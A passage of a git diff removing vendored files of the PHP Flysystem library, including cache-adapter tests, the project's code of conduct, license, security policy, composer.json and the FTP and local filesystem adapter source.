Mockery::mock('Psr\Cache\CacheItemInterface'); - $item->shouldReceive('expiresAfter')->once()->with($ttl); - $item->shouldReceive('set')->once()->andReturn($response); - $pool->shouldReceive('getItem')->once()->andReturn($item); - $pool->shouldReceive('save')->once()->with($item); - $cache = new Psr6Cache($pool, 'foo', $ttl); - $cache->save(); - } -} diff --git a/vendor/league/flysystem-cached-adapter/tests/StashTest.php b/vendor/league/flysystem-cached-adapter/tests/StashTest.php deleted file mode 100644 index 29e142d..0000000 --- a/vendor/league/flysystem-cached-adapter/tests/StashTest.php +++ /dev/null @@ -1,43 +0,0 @@ -shouldReceive('get')->once()->andReturn(null); - $item->shouldReceive('isMiss')->once()->andReturn(true); - $pool->shouldReceive('getItem')->once()->andReturn($item); - $cache = new Stash($pool); - $cache->load(); - $this->assertFalse($cache->isComplete('', false)); - } - - public function testLoadSuccess() - { - $response = json_encode([[], ['' => true]]); - $pool = Mockery::mock('Stash\Pool'); - $item = Mockery::mock('Stash\Item'); - $item->shouldReceive('get')->once()->andReturn($response); - $item->shouldReceive('isMiss')->once()->andReturn(false); - $pool->shouldReceive('getItem')->once()->andReturn($item); - $cache = new Stash($pool); - $cache->load(); - $this->assertTrue($cache->isComplete('', false)); - } - - public function testSave() - { - $response = json_encode([[], []]); - $pool = Mockery::mock('Stash\Pool'); - $item = Mockery::mock('Stash\Item'); - $item->shouldReceive('set')->once()->andReturn($response); - $pool->shouldReceive('getItem')->once()->andReturn($item); - $cache = new Stash($pool); - $cache->save(); - } -} diff --git a/vendor/league/flysystem/CODE_OF_CONDUCT.md b/vendor/league/flysystem/CODE_OF_CONDUCT.md deleted file mode 100644 index 89569c0..0000000 --- a/vendor/league/flysystem/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,76 +0,0 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as -contributors and maintainers pledge to making participation in our project and -our community a harassment-free experience for everyone, regardless of age, body -size, disability, ethnicity, sex characteristics, gender identity and expression, -level of experience, education, socio-economic status, nationality, personal -appearance, race, religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment -include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or - advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic - address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a - professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable -behavior and are expected to take appropriate and fair corrective action in -response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or -reject comments, commits, code, wiki edits, issues, and other contributions -that are not aligned to this Code of Conduct, or to ban temporarily or -permanently any contributor for other behaviors that they deem inappropriate, -threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces -when an individual is representing the project or its community. Examples of -representing a project or community include using an official project e-mail -address, posting via an official social media account, or acting as an appointed -representative at an online or offline event. Representation of a project may be -further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be -reported by contacting the project team at info+flysystem@frankdejonge.nl. All -complaints will be reviewed and investigated and will result in a response that -is deemed necessary and appropriate to the circumstances. The project team is -obligated to maintain confidentiality with regard to the reporter of an incident. -Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good -faith may face temporary or permanent repercussions as determined by other -members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, -available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html - -[homepage]: https://www.contributor-covenant.org - -For answers to common questions about this code of conduct, see -https://www.contributor-covenant.org/faq diff --git a/vendor/league/flysystem/LICENSE b/vendor/league/flysystem/LICENSE deleted file mode 100644 index f2684c8..0000000 --- a/vendor/league/flysystem/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2013-2019 Frank de Jonge - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/league/flysystem/SECURITY.md b/vendor/league/flysystem/SECURITY.md deleted file mode 100644 index f5b205e..0000000 --- a/vendor/league/flysystem/SECURITY.md +++ /dev/null @@ -1,16 +0,0 @@ -# Security Policy - -## Supported Versions - -| Version | Supported | -| ------- | ------------------ | -| 1.0.x | :white_check_mark: | -| 2.0.x | :x: | - -## Reporting a Vulnerability - -When you've encountered a security vulnerability, please disclose it securely. - -The security process is described at: -[https://flysystem.thephpleague.com/docs/security/](https://flysystem.thephpleague.com/docs/security/) - diff --git a/vendor/league/flysystem/composer.json b/vendor/league/flysystem/composer.json deleted file mode 100644 index bd7434a..0000000 --- a/vendor/league/flysystem/composer.json +++ /dev/null @@ -1,69 +0,0 @@ -{ - "name": "league/flysystem", - "type": "library", - "description": "Filesystem abstraction: Many filesystems, one API.", - "keywords": [ - "filesystem", "filesystems", "files", "storage", "dropbox", "aws", - "abstraction", "s3", "ftp", "sftp", "remote", "webdav", - "file systems", "cloud", "cloud files", "rackspace", "copy.com" - ], - "funding": [ - { - "type": "other", - "url": "https://offset.earth/frankdejonge" - } - ], - "license": "MIT", - "authors": [ - { - "name": "Frank de Jonge", - "email": "info@frenky.net" - } - ], - "require": { - "php": "^7.2.5 || ^8.0", - "ext-fileinfo": "*", - "league/mime-type-detection": "^1.3" - }, - "require-dev": { - "phpspec/prophecy": "^1.11.1", - "phpunit/phpunit": "^8.5.8" - }, - "autoload": { - "psr-4": { - "League\\Flysystem\\": "src/" - } - }, - "autoload-dev": { - "psr-4": { - "League\\Flysystem\\Stub\\": "stub/" - } - }, - "suggest": { - "ext-fileinfo": "Required for MimeType", - "league/flysystem-eventable-filesystem": "Allows you to use EventableFilesystem", - "league/flysystem-rackspace": "Allows you to use Rackspace Cloud Files", - "league/flysystem-azure": "Allows you to use Windows Azure Blob storage", - "league/flysystem-webdav": "Allows you to use WebDAV storage", - "league/flysystem-aws-s3-v2": "Allows you to use S3 storage with AWS SDK v2", - "league/flysystem-aws-s3-v3": "Allows you to use S3 storage with AWS SDK v3", - "spatie/flysystem-dropbox": "Allows you to use Dropbox storage", - "srmklive/flysystem-dropbox-v2": "Allows you to use Dropbox storage for PHP 5 applications", - "league/flysystem-cached-adapter": "Flysystem adapter decorator for metadata caching", - "ext-ftp": "Allows you to use FTP server storage", - "ext-openssl": "Allows you to use FTPS server storage", - "league/flysystem-sftp": "Allows you to use SFTP server storage via phpseclib", - "league/flysystem-ziparchive": "Allows you to use ZipArchive adapter" - }, - "conflict": { - "league/flysystem-sftp": "<1.0.6" - }, - "extra": { - "branch-alias": { - "dev-master": "1.1-dev" - } - }, - "scripts": { - "phpstan": "php phpstan.php" - } -} diff --git a/vendor/league/flysystem/deprecations.md b/vendor/league/flysystem/deprecations.md deleted file mode 100644 index c336a42..0000000 --- a/vendor/league/flysystem/deprecations.md +++ /dev/null @@ -1,19 +0,0 @@ -# Deprecations - -This document lists all the planned deprecations. - -## Handlers will be removed in 2.0 - -The `Handler` type and associated calls will be removed in version 2.0. - -### Upgrade path - -You should create your own implementation for handling OOP usage, -but it's recommended to move away from using an OOP-style wrapper entirely. - -The reason for this is that it's too easy for implementation details (for -your application this is Flysystem) to leak into the application. The most -important part for Flysystem is that it improves portability and creates a -solid boundary between your application core and the infrastructure you use. -The OOP-style handling breaks this principle, therefore I want to stop -promoting it. diff --git a/vendor/league/flysystem/src/Adapter/AbstractAdapter.php b/vendor/league/flysystem/src/Adapter/AbstractAdapter.php deleted file mode 100644 index e577ac4..0000000 --- a/vendor/league/flysystem/src/Adapter/AbstractAdapter.php +++ /dev/null @@ -1,72 +0,0 @@ -pathPrefix = null; - - return; - } - - $this->pathPrefix = rtrim($prefix, '\\/') . $this->pathSeparator; - } - - /** - * Get the path prefix. - * - * @return string|null path prefix or null if pathPrefix is empty - */ - public function getPathPrefix() - { - return $this->pathPrefix; - } - - /** - * Prefix a path. - * - * @param string $path - * - * @return string prefixed path - */ - public function applyPathPrefix($path) - { - return $this->getPathPrefix() . ltrim($path, '\\/'); - } - - /** - * Remove a path prefix. - * - * @param string $path - * - * @return string path without the prefix - */ - public function removePathPrefix($path) - { - return substr($path, strlen($this->getPathPrefix())); - } -} diff --git a/vendor/league/flysystem/src/Adapter/AbstractFtpAdapter.php b/vendor/league/flysystem/src/Adapter/AbstractFtpAdapter.php deleted file mode 100644 index b232cdc..0000000 --- a/vendor/league/flysystem/src/Adapter/AbstractFtpAdapter.php +++ /dev/null @@ -1,705 +0,0 @@ -safeStorage = new SafeStorage(); - $this->setConfig($config); - } - - /** - * Set the config. - * - * @param array $config - * - * @return $this - */ - public function setConfig(array $config) - { - foreach ($this->configurable as $setting) { - if ( ! isset($config[$setting])) { - continue; - } - - $method = 'set' . ucfirst($setting); - - if (method_exists($this, $method)) { - $this->$method($config[$setting]); - } - } - - return $this; - } - - /** - * Returns the host. - * - * @return string - */ - public function getHost() - { - return $this->host; - } - - /** - * Set the host. - * - * @param string $host - * - * @return $this - */ - public function setHost($host) - { - $this->host = $host; - - return $this; - } - - /** - * Set the public permission value. - * - * @param int $permPublic - * - * @return $this - */ - public function setPermPublic($permPublic) - { - $this->permPublic = $permPublic; - - return $this; - } - - /** - * Set the private permission value. - * - * @param int $permPrivate - * - * @return $this - */ - public function setPermPrivate($permPrivate) - { - $this->permPrivate = $permPrivate; - - return $this; - } - - /** - * Returns the ftp port. - * - * @return int - */ - public function getPort() - { - return $this->port; - } - - /** - * Returns the root folder to work from. - * - * @return string - */ - public function getRoot() - { - return $this->root; - } - - /** - * Set the ftp port. - * - * @param int|string $port - * - * @return $this - */ - public function setPort($port) - { - $this->port = (int) $port; - - return $this; - } - - /** - * Set the root folder to work from. - * - * @param string $root - * - * @return $this - */ - public function setRoot($root) - { - $this->root = rtrim($root, '\\/') . $this->separator; - - return $this; - } - - /** - * Returns the ftp username. - * - * @return string username - */ - public function getUsername() - { - $username = $this->safeStorage->retrieveSafely('username'); - - return $username !== null ? $username : 'anonymous'; - } - - /** - * Set ftp username. - * - * @param string $username - * - * @return $this - */ - public function setUsername($username) - { - $this->safeStorage->storeSafely('username', $username); - - return $this; - } - - /** - * Returns the password. - * - * @return string password - */ - public function getPassword() - { - return $this->safeStorage->retrieveSafely('password'); - } - - /** - * Set the ftp password. - * - * @param string $password - * - * @return $this - */ - public function setPassword($password) - { - $this->safeStorage->storeSafely('password', $password); - - return $this; - } - - /** - * Returns the amount of seconds before the connection will timeout. - * - * @return int - */ - public function getTimeout() - { - return $this->timeout; - } - - /** - * Set the amount of seconds before the connection should timeout. - * - * @param int $timeout - * - * @return $this - */ - public function setTimeout($timeout) - { - $this->timeout = (int) $timeout; - - return $this; - } - - /** - * Return the FTP system type. - * - * @return string - */ - public function getSystemType() - { - return $this->systemType; - } - - /** - * Set the FTP system type (windows or unix). - * - * @param string $systemType - * - * @return $this - */ - public function setSystemType($systemType) - { - $this->systemType = strtolower($systemType); - - return $this; - } - - /** - * True to enable timestamps for FTP servers that return unix-style listings. - * - * @param bool $bool - * - * @return $this - */ - public function setEnableTimestampsOnUnixListings($bool = false) - { - $this->enableTimestampsOnUnixListings = $bool; - - return $this; - } - - /** - * @inheritdoc - */ - public function listContents($directory = '', $recursive = false) - { - return $this->listDirectoryContents($directory, $recursive); - } - - abstract protected function listDirectoryContents($directory, $recursive = false); - - /** - * Normalize a directory listing. - * - * @param array $listing - * @param string $prefix - * - * @return array directory listing - */ - protected function normalizeListing(array $listing, $prefix = '') - { - $base = $prefix; - $result = []; - $listing = $this->removeDotDirectories($listing); - - while ($item = array_shift($listing)) { - if (preg_match('#^.*:$#', $item)) { - $base = preg_replace('~^\./*|:$~', '', $item); - continue; - } - - $result[] = $this->normalizeObject($item, $base); - } - - return $this->sortListing($result); - } - - /** - * Sort a directory listing. - * - * @param array $result - * - * @return array sorted listing - */ - protected function sortListing(array $result) - { - $compare = function ($one, $two) { - return strnatcmp($one['path'], $two['path']); - }; - - usort($result, $compare); - - return $result; - } - - /** - * Normalize a file entry. - * - * @param string $item - * @param string $base - * - * @return array normalized file array - * - * @throws NotSupportedException - */ - protected function normalizeObject($item, $base) - { - $systemType = $this->systemType ?: $this->detectSystemType($item); - - if ($systemType === 'unix') { - return $this->normalizeUnixObject($item, $base); - } elseif ($systemType === 'windows') { - return $this->normalizeWindowsObject($item, $base); - } - - throw NotSupportedException::forFtpSystemType($systemType); - } - - /** - * Normalize a Unix file entry. - * - * Given $item contains: - * '-rw-r--r-- 1 ftp ftp 409 Aug 19 09:01 file1.txt' - * - * This function will return: - * [ - * 'type' => 'file', - * 'path' => 'file1.txt', - * 'visibility' => 'public', - * 'size' => 409, - * 'timestamp' => 1566205260 - * ] - * - * @param string $item - * @param string $base - * - * @return array normalized file array - */ - protected function normalizeUnixObject($item, $base) - { - $item = preg_replace('#\s+#', ' ', trim($item), 7); - - if (count(explode(' ', $item, 9)) !== 9) { - throw new RuntimeException("Metadata can't be parsed from item '$item' , not enough parts."); - } - - list($permissions, /* $number */, /* $owner */, /* $group */, $size, $month, $day, $timeOrYear, $name) = explode(' ', $item, 9); - $type = $this->detectType($permissions); - $path = $base === '' ? $name : $base . $this->separator . $name; - - if ($type === 'dir') { - $result = compact('type', 'path'); - if ($this->enableTimestampsOnUnixListings) { - $timestamp = $this->normalizeUnixTimestamp($month, $day, $timeOrYear); - $result += compact('timestamp'); - } - - return $result; - } - - $permissions = $this->normalizePermissions($permissions); - $visibility = $permissions & 0044 ? AdapterInterface::VISIBILITY_PUBLIC : AdapterInterface::VISIBILITY_PRIVATE; - $size = (int) $size; - - $result = compact('type', 'path', 'visibility', 'size'); - if ($this->enableTimestampsOnUnixListings) { - $timestamp = $this->normalizeUnixTimestamp($month, $day, $timeOrYear); - $result += compact('timestamp'); - } - - return $result; - } - - /** - * Only accurate to the minute (current year), or to the day. - * - * Inadequacies in timestamp accuracy are due to limitations of the FTP 'LIST' command - * - * Note: The 'MLSD' command is a machine-readable replacement for 'LIST' - * but many FTP servers do not support it :( - * - * @param string $month e.g. 'Aug' - * @param string $day e.g. '19' - * @param string $timeOrYear e.g. '09:01' OR '2015' - * - * @return int - */ - protected function normalizeUnixTimestamp($month, $day, $timeOrYear) - { - if (is_numeric($timeOrYear)) { - $year = $timeOrYear; - $hour = '00'; - $minute = '00'; - $seconds = '00'; - } else { - $year = date('Y'); - list($hour, $minute) = explode(':', $timeOrYear); - $seconds = '00'; - } - $dateTime = DateTime::createFromFormat('Y-M-j-G:i:s', "{$year}-{$month}-{$day}-{$hour}:{$minute}:{$seconds}"); - - return $dateTime->getTimestamp(); - } - - /** - * Normalize a Windows/DOS file entry. - * - * @param string $item - * @param string $base - * - * @return array normalized file array - */ - protected function normalizeWindowsObject($item, $base) - { - $item = preg_replace('#\s+#', ' ', trim($item), 3); - - if (count(explode(' ', $item, 4)) !== 4) { - throw new RuntimeException("Metadata can't be parsed from item '$item' , not enough parts."); - } - - list($date, $time, $size, $name) = explode(' ', $item, 4); - $path = $base === '' ? $name : $base . $this->separator . $name; - - // Check for the correct date/time format - $format = strlen($date) === 8 ? 'm-d-yH:iA' : 'Y-m-dH:i'; - $dt = DateTime::createFromFormat($format, $date . $time); - $timestamp = $dt ? $dt->getTimestamp() : (int) strtotime("$date $time"); - - if ($size === '') { - $type = 'dir'; - - return compact('type', 'path', 'timestamp'); - } - - $type = 'file'; - $visibility = AdapterInterface::VISIBILITY_PUBLIC; - $size = (int) $size; - - return compact('type', 'path', 'visibility', 'size', 'timestamp'); - } - - /** - * Get the system type from a listing item. - * - * @param string $item - * - * @return string the system type - */ - protected function detectSystemType($item) - { - return preg_match('/^[0-9]{2,4}-[0-9]{2}-[0-9]{2}/', $item) ? 'windows' : 'unix'; - } - - /** - * Get the file type from the permissions. - * - * @param string $permissions - * - * @return string file type - */ - protected function detectType($permissions) - { - return substr($permissions, 0, 1) === 'd' ? 'dir' : 'file'; - } - - /** - * Normalize a permissions string. - * - * @param string $permissions - * - * @return int - */ - protected function normalizePermissions($permissions) - { - if (is_numeric($permissions)) { - return ((int) $permissions) & 0777; - } - - // remove the type identifier - $permissions = substr($permissions, 1); - - // map the string rights to the numeric counterparts - $map = ['-' => '0', 'r' => '4', 'w' => '2', 'x' => '1']; - $permissions = strtr($permissions, $map); - - // split up the permission groups - $parts = str_split($permissions, 3); - - // convert the groups - $mapper = function ($part) { - return array_sum(str_split($part)); - }; - - // converts to decimal number - return octdec(implode('', array_map($mapper, $parts))); - } - - /** - * Filter out dot-directories. - * - * @param array $list - * - * @return array - */ - public function removeDotDirectories(array $list) - { - $filter = function ($line) { - return $line !== '' && ! preg_match('#.* \.(\.)?$|^total#', $line); - }; - - return array_filter($list, $filter); - } - - /** - * @inheritdoc - */ - public function has($path) - { - return $this->getMetadata($path); - } - - /** - * @inheritdoc - */ - public function getSize($path) - { - return $this->getMetadata($path); - } - - /** - * @inheritdoc - */ - public function getVisibility($path) - { - return $this->getMetadata($path); - } - - /** - * Ensure a directory exists. - * - * @param string $dirname - */ - public function ensureDirectory($dirname) - { - $dirname = (string) $dirname; - - if ($dirname !== '' && ! $this->has($dirname)) { - $this->createDir($dirname, new Config()); - } - } - - /** - * @return mixed - */ - public function getConnection() - { - if ( ! $this->isConnected()) { - $this->disconnect(); - $this->connect(); - } - - return $this->connection; - } - - /** - * Get the public permission value. - * - * @return int - */ - public function getPermPublic() - { - return $this->permPublic; - } - - /** - * Get the private permission value. - * - * @return int - */ - public function getPermPrivate() - { - return $this->permPrivate; - } - - /** - * Disconnect on destruction. - */ - public function __destruct() - { - $this->disconnect(); - } - - /** - * Establish a connection. - */ - abstract public function connect(); - - /** - * Close the connection. - */ - abstract public function disconnect(); - - /** - * Check if a connection is active. - * - * @return bool - */ - abstract public function isConnected(); - - protected function escapePath($path) - { - return str_replace(['*', '[', ']'], ['\\*', '\\[', '\\]'], $path); - } -} diff --git a/vendor/league/flysystem/src/Adapter/CanOverwriteFiles.php b/vendor/league/flysystem/src/Adapter/CanOverwriteFiles.php deleted file mode 100644 index fd8d216..0000000 --- a/vendor/league/flysystem/src/Adapter/CanOverwriteFiles.php +++ /dev/null @@ -1,12 +0,0 @@ -transferMode = $mode; - - return $this; - } - - /** - * Set if Ssl is enabled. - * - * @param bool $ssl - * - * @return $this - */ - public function setSsl($ssl) - { - $this->ssl = (bool) $ssl; - - return $this; - } - - /** - * Set if passive mode should be used. - * - * @param bool $passive - */ - public function setPassive($passive = true) - { - $this->passive = $passive; - } - - /** - * @param bool $ignorePassiveAddress - */ - public function setIgnorePassiveAddress($ignorePassiveAddress) - { - $this->ignorePassiveAddress = $ignorePassiveAddress; - } - - /** - * @param bool $recurseManually - */ - public function setRecurseManually($recurseManually) - { - $this->recurseManually = $recurseManually; - } - - /** - * @param bool $utf8 - */ - public function setUtf8($utf8) - { - $this->utf8 = (bool) $utf8; - } - - /** - * Connect to the FTP server. - */ - public function connect() - { - $tries = 3; - start_connecting: - - if ($this->ssl) { - $this->connection = @ftp_ssl_connect($this->getHost(), $this->getPort(), $this->getTimeout()); - } else { - $this->connection = @ftp_connect($this->getHost(), $this->getPort(), $this->getTimeout()); - } - - if ( ! $this->connection) { - $tries--; - - if ($tries > 0) goto start_connecting; - - throw new ConnectionRuntimeException('Could not connect to host: ' . $this->getHost() . ', port:' . $this->getPort()); - } - - $this->login(); - $this->setUtf8Mode(); - $this->setConnectionPassiveMode(); - $this->setConnectionRoot(); - $this->isPureFtpd = $this->isPureFtpdServer(); - } - - /** - * Set the connection to UTF-8 mode. - */ - protected function setUtf8Mode() - { - if ($this->utf8) { - $response = ftp_raw($this->connection, "OPTS UTF8 ON"); - if (substr($response[0], 0, 3) !== '200') { - throw new ConnectionRuntimeException( - 'Could not set UTF-8 mode for connection: ' . $this->getHost() . '::' . $this->getPort() - ); - } - } - } - - /** - * Set the connections to passive mode. - * - * @throws ConnectionRuntimeException - */ - protected function setConnectionPassiveMode() - { - if (is_bool($this->ignorePassiveAddress) && defined('FTP_USEPASVADDRESS')) { - ftp_set_option($this->connection, FTP_USEPASVADDRESS, ! $this->ignorePassiveAddress); - } - - if ( ! ftp_pasv($this->connection, $this->passive)) { - throw new ConnectionRuntimeException( - 'Could not set passive mode for connection: ' . $this->getHost() . '::' . $this->getPort() - ); - } - } - - /** - * Set the connection root. - */ - protected function setConnectionRoot() - { - $root = $this->getRoot(); - $connection = $this->connection; - - if ($root && ! ftp_chdir($connection, $root)) { - throw new InvalidRootException('Root is invalid or does not exist: ' . $this->getRoot()); - } - - // Store absolute path for further reference. - // This is needed when creating directories and - // initial root was a relative path, else the root - // would be relative to the chdir'd path. - $this->root = ftp_pwd($connection); - } - - /** - * Login. - * - * @throws ConnectionRuntimeException - */ - protected function login() - { - set_error_handler(function () { - }); - $isLoggedIn = ftp_login( - $this->connection, - $this->getUsername(), - $this->getPassword() - ); - restore_error_handler(); - - if ( ! $isLoggedIn) { - $this->disconnect(); - throw new ConnectionRuntimeException( - 'Could not login with connection: ' . $this->getHost() . '::' . $this->getPort( - ) . ', username: ' . $this->getUsername() - ); - } - } - - /** - * Disconnect from the FTP server. - */ - public function disconnect() - { - if (is_resource($this->connection)) { - @ftp_close($this->connection); - } - - $this->connection = null; - } - - /** - * @inheritdoc - */ - public function write($path, $contents, Config $config) - { - $stream = fopen('php://temp', 'w+b'); - fwrite($stream, $contents); - rewind($stream); - $result = $this->writeStream($path, $stream, $config); - fclose($stream); - - if ($result === false) { - return false; - } - - $result['contents'] = $contents; - $result['mimetype'] = $config->get('mimetype') ?: Util::guessMimeType($path, $contents); - - return $result; - } - - /** - * @inheritdoc - */ - public function writeStream($path, $resource, Config $config) - { - $this->ensureDirectory(Util::dirname($path)); - - if ( ! ftp_fput($this->getConnection(), $path, $resource, $this->transferMode)) { - return false; - } - - if ($visibility = $config->get('visibility')) { - $this->setVisibility($path, $visibility); - } - - $type = 'file'; - - return compact('type', 'path', 'visibility'); - } - - /** - * @inheritdoc - */ - public function update($path, $contents, Config $config) - { - return $this->write($path, $contents, $config); - } - - /** - * @inheritdoc - */ - public function updateStream($path, $resource, Config $config) - { - return $this->writeStream($path, $resource, $config); - } - - /** - * @inheritdoc - */ - public function rename($path, $newpath) - { - return ftp_rename($this->getConnection(), $path, $newpath); - } - - /** - * @inheritdoc - */ - public function delete($path) - { - return ftp_delete($this->getConnection(), $path); - } - - /** - * @inheritdoc - */ - public function deleteDir($dirname) - { - $connection = $this->getConnection(); - $contents = array_reverse($this->listDirectoryContents($dirname, false)); - - foreach ($contents as $object) { - if ($object['type'] === 'file') { - if ( ! ftp_delete($connection, $object['path'])) { - return false; - } - } elseif ( ! $this->deleteDir($object['path'])) { - return false; - } - } - - return ftp_rmdir($connection, $dirname); - } - - /** - * @inheritdoc - */ - public function createDir($dirname, Config $config) - { - $connection = $this->getConnection(); - $directories = explode('/', $dirname); - - foreach ($directories as $directory) { - if (false === $this->createActualDirectory($directory, $connection)) { - $this->setConnectionRoot(); - - return false; - } - - ftp_chdir($connection, $directory); - } - - $this->setConnectionRoot(); - - return ['type' => 'dir', 'path' => $dirname]; - } - - /** - * Create a directory. - * - * @param string $directory - * @param resource $connection - * - * @return bool - */ - protected function createActualDirectory($directory, $connection) - { - // List the current directory - $listing = ftp_nlist($connection, '.') ?: []; - - foreach ($listing as $key => $item) { - if (preg_match('~^\./.*~', $item)) { - $listing[$key] = substr($item, 2); - } - } - - if (in_array($directory, $listing, true)) { - return true; - } - - return (boolean) ftp_mkdir($connection, $directory); - } - - /** - * @inheritdoc - */ - public function getMetadata($path) - { - if ($path === '') { - return ['type' => 'dir', 'path' => '']; - } - - if (@ftp_chdir($this->getConnection(), $path) === true) { - $this->setConnectionRoot(); - - return ['type' => 'dir', 'path' => $path]; - } - - $listing = $this->ftpRawlist('-A', $path); - - if (empty($listing) || in_array('total 0', $listing, true)) { - return false; - } - - if (preg_match('/.* not found/', $listing[0])) { - return false; - } - - if (preg_match('/^total [0-9]*$/', $listing[0])) { - array_shift($listing); - } - - return $this->normalizeObject($listing[0], ''); - } - - /** - * @inheritdoc - */ - public function getMimetype($path) - { - if ( ! $metadata = $this->getMetadata($path)) { - return false; - } - - $metadata['mimetype'] = MimeType::detectByFilename($path); - - return $metadata; - } - - /** - * @inheritdoc - */ - public function getTimestamp($path) - { - $timestamp = ftp_mdtm($this->getConnection(), $path); - - return ($timestamp !== -1) ? ['path' => $path, 'timestamp' => $timestamp] : false; - } - - /** - * @inheritdoc - */ - public function read($path) - { - if ( ! $object = $this->readStream($path)) { - return false; - } - - $object['contents'] = stream_get_contents($object['stream']); - fclose($object['stream']); - unset($object['stream']); - - return $object; - } - - /** - * @inheritdoc - */ - public function readStream($path) - { - $stream = fopen('php://temp', 'w+b'); - $result = ftp_fget($this->getConnection(), $stream, $path, $this->transferMode); - rewind($stream); - - if ( ! $result) { - fclose($stream); - - return false; - } - - return ['type' => 'file', 'path' => $path, 'stream' => $stream]; - } - - /** - * @inheritdoc - */ - public function setVisibility($path, $visibility) - { - $mode = $visibility === AdapterInterface::VISIBILITY_PUBLIC ? $this->getPermPublic() : $this->getPermPrivate(); - - if ( ! ftp_chmod($this->getConnection(), $mode, $path)) { - return false; - } - - return compact('path', 'visibility'); - } - - /** - * @inheritdoc - * - * @param string $directory - */ - protected function listDirectoryContents($directory, $recursive = true) - { - if ($recursive && $this->recurseManually) { - return $this->listDirectoryContentsRecursive($directory); - } - - $options = $recursive ? '-alnR' : '-aln'; - $listing = $this->ftpRawlist($options, $directory); - - return $listing ? $this->normalizeListing($listing, $directory) : []; - } - - /** - * @inheritdoc - * - * @param string $directory - */ - protected function listDirectoryContentsRecursive($directory) - { - $listing = $this->normalizeListing($this->ftpRawlist('-aln', $directory) ?: [], $directory); - $output = []; - - foreach ($listing as $item) { - $output[] = $item; - if ($item['type'] !== 'dir') { - continue; - } - $output = array_merge($output, $this->listDirectoryContentsRecursive($item['path'])); - } - - return $output; - } - - /** - * Check if the connection is open. - * - * @return bool - * - * @throws ConnectionErrorException - */ - public function isConnected() - { - return is_resource($this->connection) - && $this->getRawExecResponseCode('NOOP') === 200; - } - - /** - * @return bool - */ - protected function isPureFtpdServer() - { - $response = ftp_raw($this->connection, 'HELP'); - - return stripos(implode(' ', $response), 'Pure-FTPd') !== false; - } - - /** - * The ftp_rawlist function with optional escaping. - * - * @param string $options - * @param string $path - * - * @return array - */ - protected function ftpRawlist($options, $path) - { - $connection = $this->getConnection(); - - if ($this->isPureFtpd) { - $path = str_replace(' ', '\ ', $path); - $this->escapePath($path); - } - - return ftp_rawlist($connection, $options . ' ' . $path); - } - - private function getRawExecResponseCode($command) - { - $response = @ftp_raw($this->connection, trim($command)); - - return (int) preg_replace('/\D/', '', implode(' ', $response)); - } -} diff --git a/vendor/league/flysystem/src/Adapter/Ftpd.php b/vendor/league/flysystem/src/Adapter/Ftpd.php deleted file mode 100644 index 7e71d19..0000000 --- a/vendor/league/flysystem/src/Adapter/Ftpd.php +++ /dev/null @@ -1,48 +0,0 @@ - 'dir', 'path' => '']; - } - - if (@ftp_chdir($this->getConnection(), $path) === true) { - $this->setConnectionRoot(); - - return ['type' => 'dir', 'path' => $path]; - } - - $object = ftp_raw($this->getConnection(), 'STAT ' . $this->escapePath($path)); - - if ( ! $object || count($object) < 3) { - return false; - } - - if (substr($object[1], 0, 5) === "ftpd:") { - return false; - } - - return $this->normalizeObject($object[1], ''); - } - - /** - * @inheritdoc - */ - protected function listDirectoryContents($directory, $recursive = true) - { - $listing = ftp_rawlist($this->getConnection(), $this->escapePath($directory), $recursive); - - if ($listing === false || ( ! empty($listing) && substr($listing[0], 0, 5) === "ftpd:")) { - return []; - } - - return $this->normalizeListing($listing, $directory); - } -} diff --git a/vendor/league/flysystem/src/Adapter/Local.php b/vendor/league/flysystem/src/Adapter/Local.php deleted file mode 100644 index 747c463..0000000 --- a/vendor/league/flysystem/src/Adapter/Local.php +++ /dev/null @@ -1,533 +0,0 @@ - [ - 'public' => 0644, - 'private' => 0600, - ], - 'dir' => [ - 'public' => 0755, - 'private' => 0700, - ], - ]; - - /** - * @var string - */ - protected $pathSeparator = DIRECTORY_SEPARATOR; - - /** - * @var array - */ - protected $permissionMap; - - /** - * @var int - */ - protected $writeFlags; - - /** - * @var int - */ - private $linkHandling; - - /** - * Constructor. - * - * @param string $root - * @param int $writeFlags - * @param int $linkHandling - * @param array $permissions - * - * @throws LogicException - */ - public function __construct($root, $writeFlags = LOCK_EX, $linkHandling = self::DISALLOW_LINKS, array $permissions = []) - { - $root = is_link($root) ? realpath($root) : $root; - $this->permissionMap = array_replace_recursive(static::$permissions, $permissions); - 